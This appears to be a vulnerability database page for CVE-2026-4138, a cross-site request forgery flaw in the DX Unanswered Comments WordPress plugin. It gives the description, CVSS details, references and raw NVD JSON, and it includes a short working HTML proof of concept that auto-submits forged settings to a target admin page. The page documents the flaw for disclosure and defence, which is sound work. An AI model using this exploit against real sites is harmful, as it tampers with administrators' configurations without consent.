CVE-2026-4138

Description

The DX Unanswered Comments plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.7. This is due to missing nonce validation on the plugin's settings form in the dxuc-unanswered-comments-admin-page.php file. This makes it possible for unauthenticated attackers to modify plugin settings (dxuc_authors_list and dxuc_comment_count) via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

DX Unanswered Comments <= 1.7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-4138 -->
<!-- Save this as an HTML file and host it. -->
<!-- When an admin clicks the button, plugin settings change. -->
<html>
  <body>
    <form action="http://target-site/wp-admin/admin.php?page=dx-unanswered-comments-settings" method="POST">
      <input type="hidden" name="dxuc_authors_list" value="hacked_user" />
      <input type="hidden" name="dxuc_comment_count" value="999" />
      <input type="submit" value="Click me for a prize!" />
    </form>
    <script>
      // Auto-submit to ensure interaction happens if JS is allowed
      document.forms[0].submit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-4138
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-4138
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-4138/
[4] VulDB https://vuldb.com/cve/CVE-2026-4138
[5] https://plugins.trac.wordpress.org/browser/dx-unanswered-comments/tags/1.7/dxuc-unanswered-comments-admin-page.php#L13
[6] https://plugins.trac.wordpress.org/browser/dx-unanswered-comments/tags/1.7/dxuc-unanswered-comments-admin-page.php#L21
[7] https://plugins.trac.wordpress.org/browser/dx-unanswered-comments/tags/1.7/dxuc-unanswered-comments-admin-page.php#L25
[8] https://plugins.trac.wordpress.org/browser/dx-unanswered-comments/tags/1.7/dxuc-unanswered-comments-admin-page.php#L40
[9] https://plugins.trac.wordpress.org/browser/dx-unanswered-comments/trunk/dxuc-unanswered-comments-admin-page.php#L13
[10] https://plugins.trac.wordpress.org/browser/dx-unanswered-comments/trunk/dxuc-unanswered-comments-admin-page.php#L21
[11] https://plugins.trac.wordpress.org/browser/dx-unanswered-comments/trunk/dxuc-unanswered-comments-admin-page.php#L25
[12] https://plugins.trac.wordpress.org/browser/dx-unanswered-comments/trunk/dxuc-unanswered-comments-admin-page.php#L40
[13] https://www.wordfence.com/threat-intel/vulnerabilities/id/e44dbd0e-d6a7-438b-b1bf-a6628734fec4?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-4138", "sourceIdentifier": "[email protected]", "published": "2026-04-22T09:16:24.547", "lastModified": "2026-04-22T20:22:50.570", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The DX Unanswered Comments plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.7. This is due to missing nonce validation on the plugin's settings form in the dxuc-unanswered-comments-admin-page.php file. This makes it possible for unauthenticated attackers to modify plugin settings (dxuc_authors_list and dxuc_comment_count) via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/dx-unanswered-comments/tags/1.7/dxuc-unanswered-comments-admin-page.php#L13", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/dx-unanswered-comments/tags/1.7/dxuc-unanswered-comments-admin-page.php#L21", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/dx-unanswered-comments/tags/1.7/dxuc-unanswered-comments-admin-page.php#L25", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/dx-unanswered-comments/tags/1.7/dxuc-unanswered-comments-admin-page.php#L40", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/dx-unanswered-comments/trunk/dxuc-unanswered-comments-admin-page.php#L13", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/dx-unanswered-comments/trunk/dxuc-unanswered-comments-admin-page.php#L21", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/dx-unanswered-comments/trunk/dxuc-unanswered-comments-admin-page.php#L25", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/dx-unanswered-comments/trunk/dxuc-unanswered-comments-admin-page.php#L40", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e44dbd0e-d6a7-438b-b1bf-a6628734fec4?source=cve", "source": "[email protected]"}]}}